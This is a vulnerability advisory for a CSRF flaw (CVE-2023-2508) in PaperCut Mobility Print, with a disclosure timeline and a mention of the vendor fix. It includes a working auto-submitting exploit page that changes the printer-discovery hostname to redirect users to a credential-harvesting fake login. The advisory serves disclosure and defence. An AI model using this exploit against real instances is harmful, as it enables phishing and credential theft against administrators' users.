CSRF in PaperCut Mobility Print leads to sophisticated phishing

5.3

Medium

Discovered by 

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

CSRF in PaperCut Mobility Print leads to sophisticated phishing

Code name

State

Public

Release date

Sep 20, 2023

Affected product

PaperCut Mobility Print

Affected version(s)

Version 1.0.3512

Vulnerability name

Cross-site request forgery

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

CVSS v3.1 base score

5.3

Exploit available

Yes

CVE ID(s)

Description

The PaperCut Mobility Print version 1.0.3512 application allows an unauthenticated attacker to perform a CSRF attack on an instance administrator to configure the clients host (in the "configure printer discovery" section). This is possible because the application has no protections against CSRF attacks, like Anti-CSRF tokens, header origin validation, samesite cookies, etc.

Vulnerability

This vulnerability occurs because the application has no protections against CSRF attacks, like Anti-CSRF tokens, header origin validation, samesite cookies, etc.

Exploitation

In this scenario an unauthenticated attacker to perform a CSRF attack on an instance administrator to configure the clients host (in the "configure printer discovery" section).

Then, when the administrator wants to share the link to users so that they can configure their credentials, they are actually sending users to a malicious website that pretends to be the PaperCut NG login, with the goal of exfiltrating the credentials.

exploit.html

<!DOCTYPE html>
<html lang="en">
 <head>
 <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"/>
 </head>
 <body>
 <form action=http://vulnerable.com:9163/dns-config method=POST enctype=text/plain>
 <input type=hidden name={"mdnsEnabled":false,"searchDomain":"","subnets":[],"currentStep":"","dnsOptionSelected":"","dnsConfigModified":false,"ZoneIndex":0,"AccessibleIP":"","AccessibleHTTPSPort":0,"dnsFreeEnabled":true,"ExternalIPCIDRs":null,"serverAddresses":["192.168.1.8","Retr02332-MacBookPro.local"],"httpsPort":0,"dnsFreeDiscoveryHostname":"localhost:9999/login.html?redirect="," value=x":"x"} />
 </form>
 <script>document.forms[0].submit();</script>
 </body>
</html>

Our security policy

We have reserved the ID CVE-2023-2508 to refer to this issue from now on. Disclosure policy

System Information

  • Version: PaperCut Mobility Print 1.0.3512

  • Operating System: MacOS

Mitigation

An updated version of PaperCut Mobility Print is available at the vendor page.

References

Timeline

Vulnerability discovered

May 3, 2023

Vendor Confirmed Vuln.

May 8, 2023

Vulnerability patched

Aug 22, 2023

Vendor contacted

May 3, 2023

Vendor replied

May 3, 2023

Public disclosure

Sep 20, 2023

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.